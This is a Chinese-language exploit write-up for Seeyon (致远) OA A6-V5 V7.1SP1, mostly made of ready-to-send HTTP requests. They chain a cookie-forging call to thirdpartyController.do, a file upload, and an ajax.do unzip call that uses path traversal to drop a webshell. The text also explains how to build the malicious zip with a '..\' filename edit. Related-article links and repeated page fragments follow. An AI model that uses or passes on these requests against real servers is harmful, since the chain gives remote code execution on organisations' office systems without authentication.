致远OA通杀最新组合getshell

复现版本：

致远A6-V5协同管理软件.A6 V7.1SP1

Getshell 分三步

1.获取cookie信息
2.上传压缩文件
3.解压压缩文件得到shell

1.获取 cookie

漏洞地址

/seeyon/thirdpartyController.do

数据包：

POST /seeyon/thirdpartyController.do HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 133method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

获取到 cookie

2.上传压缩文件

漏洞点：

/seeyon/fileUpload.do?method=processUpload&maxSize=
数据包：
更换cookie

POST /seeyon/fileUpload.do?method=processUpload&maxSize= HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 更新的cookie
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------1416682316313
Content-Length: 1715-----------------------------1416682316313
Content-Disposition: form-data; name="type"-----------------------------1416682316313
Content-Disposition: form-data; name="extensions"-----------------------------1416682316313
Content-Disposition: form-data; name="applicationCategory"-----------------------------1416682316313
Content-Disposition: form-data; name="destDirectory"-----------------------------1416682316313
Content-Disposition: form-data; name="destFilename"-----------------------------1416682316313
Content-Disposition: form-data; name="maxSize"-----------------------------1416682316313
Content-Disposition: form-data; name="isEncrypt"-----------------------------1416682316313
Content-Disposition: form-data; name="file1"; filename="test1.zip"
Content-Type: application/x-zip-compressedzip
-----------------------------1416682316313--

3.解压压缩文件

解压文件得到 shell
漏洞地址

/seeyon/ajax.do
数据包：

POST /seeyon/ajax.do HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: 更新的cookie
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 142method=ajaxAction&managerName=portalDesignerManager&managerMethod=uploadPageLayoutAttachment&arguments=[0,"2021-04-14","-6482922226625199575"]
image

达成目的

访问压缩包里的文件进行验证解压后文件位置位于

/seeyon/common/designer/pageLayout/压缩包里文件名

制作 zip 文件

layout.xml  必须存在否则在利用解压漏洞时会解压失败空内容即可
shell.jsp  可是任意名称与内容
压缩成 zip 文件

使用文本编辑 zip 包把 shell 文件名前三位替换成 ..\ 修改前和修改后位数不能变否则 zip 文件损坏
两个地方都要该

致远OA 组合getshell相关推荐

致远a8-v5-6.0协同管理软件_高危漏洞利用预警：近期利用“致远OA任意文件写入漏洞”的攻击较多...
概述腾讯御界高级威胁检测系统近期监测到"致远OA系统上的GetShell漏洞"在网上被频繁利用攻击政企客户. 对于存在漏洞的OA系统,攻击者无需任何权限,即可向服务器上传websh ...
致远OA任意文件下载漏洞（CNVD-2020-62422）
文章目录漏洞描述影响版本 payload poc 漏洞复现修复补丁漏洞描述致远OA存在任意文件下载漏洞,攻击者可利用该漏洞下载任意文件,获取敏感信息影响版本致远OA A6-V5 致远OA ...
致远oa服务器端口怎么修改,致远oa服务器设置
致远oa服务器设置内容精选换一换云耀云服务器创建成功后,您可以根据需求,修改云服务器的名称.系统支持批量修改多台云耀云服务器的名称,修改完成后,这些云耀云服务器的名称相同.登录控制台.单击管理控 ...
致远OA管理员密码的重置
管理员账号忘记了,然后致远OA的运维服务也到期了,怎么办? 求人不如求自己,我们来看看到底怎么修改相关的管理员密码吧. 注意一:更新后需要重启OA应用方可生效. 注意二:更新后的密码是OA系统预设密码 ...
致远OA wpsAssistServlet 任意文件上传漏洞漏洞复现
为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 影响范围 03 利用方式 04 修复方案 01 漏洞描述致远OA是一套办公协同管理软件.致远OA wpsAssistServ ...
致远OA表单自定义函数（计算N年后今天的日期）
需求背景看到这个标题,可能好些人懵了,N年后的今天这么简单,还需要计算么? 的确,人脑算很简单,但是咱们的表单中-- 前日,有人跟大表哥来电,就说客户要根据档案的归档日期和保存年限,自动计算出档案的 ...
致远OA ajax.do 任意文件上传 (CNVD-2021-01627) 漏洞复现
为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓ 01 漏洞描述 02 影响范围 03 验证方式 04 利用方式 05 修复方案 01 漏洞描述致远OA是一套办公协同管理软件.由于致远OA旧版本某 ...
致远OA破解思路，致远协同办公OA破解思路
文章目录前言一.选择那种方式破解? 1.破解加密文件 2.破解class类三.破解过程四.成果展示总结前言致远OA实施过程中需要在测试环境中进行测试,但是申请的测试狗过期了,怎么办?修改 ...
致远OA A8V5 A6V5 V8.2 8.1 8.0 V7 V6 V5 V3补丁
致远OA A8V5 A6V5 V8.2 8.1 8.0 V7 V6 V5 V3补丁
致远OA 文件上传漏洞
报告编号:B6-2021-010801 报告来源:360CERT 报告作者:360CERT 更新日期:2021-01-08 0x01漏洞简述 2021年01月08日,360CERT监测发现致远OA发布 ...

致远OA 组合getshell

致远OA通杀最新组合getshell

复现版本：

Getshell 分三步

1.获取 cookie

2.上传压缩文件

3.解压压缩文件

达成目的

制作 zip 文件

致远OA 组合getshell相关推荐

最新文章

热门文章

致远OA 组合getshell

致远OA通杀 最新组合getshell

复现版本：

Getshell 分三步

1.获取 cookie

2.上传压缩文件

3.解压压缩文件

达成目的

制作 zip 文件

致远OA 组合getshell相关推荐

最新文章

热门文章

致远OA通杀最新组合getshell